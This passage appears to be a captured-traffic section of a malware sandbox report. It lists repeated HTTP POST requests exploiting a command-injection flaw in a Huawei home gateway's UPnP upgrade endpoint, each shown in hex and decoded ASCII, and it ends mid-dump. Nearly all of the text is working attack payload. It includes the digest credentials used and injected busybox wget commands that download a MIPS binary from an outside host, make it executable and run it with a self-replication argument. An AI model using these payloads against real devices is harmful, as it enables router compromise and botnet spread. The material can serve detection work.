65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 452Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 2e 61 6d 6b 20 2d 72 20 2f 68 75 61 77 65 69 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 61 6d 6b 3b 20 73 68 20 2f 74 6d 70 2f 2e 61 6d 6b 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/.amk -r /huawei; /bin/busybox chmod 777 /tmp/.amk; sh /tmp/.amk)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 